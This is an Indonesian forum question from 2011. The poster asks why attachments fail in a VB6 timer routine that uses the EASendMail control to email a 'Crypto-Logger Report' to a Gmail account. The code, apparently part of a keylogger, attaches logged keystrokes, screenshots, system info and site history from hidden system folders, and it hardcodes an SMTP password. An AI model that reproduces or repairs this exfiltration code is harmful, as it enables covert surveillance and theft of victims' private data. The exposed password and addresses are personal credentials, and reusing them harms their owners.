VB6 EAsendmail attachment error1

Sep

8

2011

ActiveX EAsendmail
SMTP gmail port 465,
cara kirim email dengan ActiveX EAsendmail gimana gan, ane udah bisa
cuma gak ngelampirin attachment,
berikut merupakan source codenya

Private Sub Timer9_Timer()
Dim oSmtp As New EASendMailObjLib.Mail
Set oSmtp = New EASendMailObjLib.Mail
oSmtp.LicenseCode = “TryIt”
‘//set sender email address
oSmtp.FromAddr = “acryptologger.telkom08@gmail.com”
‘//add recipient email address
oSmtp.AddRecipientEx “cryptologger.telkom08@gmail.com”, 0
‘//set HTML body format
oSmtp.BodyFormat = 1
‘//set email body
oSmtp.BodyText = “Crypto-Logger Report”
‘//set email subject for savelog
oSmtp.Subject = “Crypto-Logger Report – savelog”
If oSmtp.AddAttachment(“C:\windows\system\savelog\”) 0 Then
MsgBox “Failed to add attachment with error:” & oSmtp.GetLastErrDescription()
End If
‘//set email subject for snapshot
oSmtp.Subject = “Crypto-Logger Report – snapshot”
If oSmtp.AddAttachment(“C:\windows\system\snapshot\”) 0 Then
MsgBox “Failed to add attachment with error:” & oSmtp.GetLastErrDescription()
End If
‘//set email subject for sysinfo
oSmtp.Subject = “Crypto-Logger Report – sysinfo”
If oSmtp.AddAttachment(“C:\windows\system\sysinfo\”) 0 Then
MsgBox “Failed to add attachment with error:” & oSmtp.GetLastErrDescription()
End If
‘//set email subject for sitehistory
oSmtp.Subject = “Crypto-Logger Report – sitehistory”
If oSmtp.AddAttachment(“C:\windows\system\sitehistory\”) 0 Then
MsgBox “Failed to add attachment with error:” & oSmtp.GetLastErrDescription()
End If
‘//direct SSL 465 port
oSmtp.ServerPort = 465
‘//your SMTP server address
oSmtp.ServerAddr = “smtp.gmail.com”
‘//username for SMTP authentication
oSmtp.UserName = “acryptologger.telkom08@gmail.com”
‘//password for SMTP authentication
oSmtp.Password = “02108568401675″
‘//if your smtp server requires SSL connection, please add this line
oSmtp.SSL_init
MsgBox “Start to send email …”
If oSmtp.SendMail() = 0 Then
MsgBox “Email was sent successfully!”
Else
MsgBox “failed to send email with the following error:” & oSmtp.GetLastErrDescription()
End If
End Sub

email ane :evilgenius1933@rocketmail.com
gimana gan, mohon pencerahannya

Tags:

Kategori: VB Classic Ditanyakan oleh: [2 Grey Star Level]

Jawab Pertanyaan

Anda harus Log In untuk menjawab pertanyaan.

Belum bergabung? Daftar Sekarang »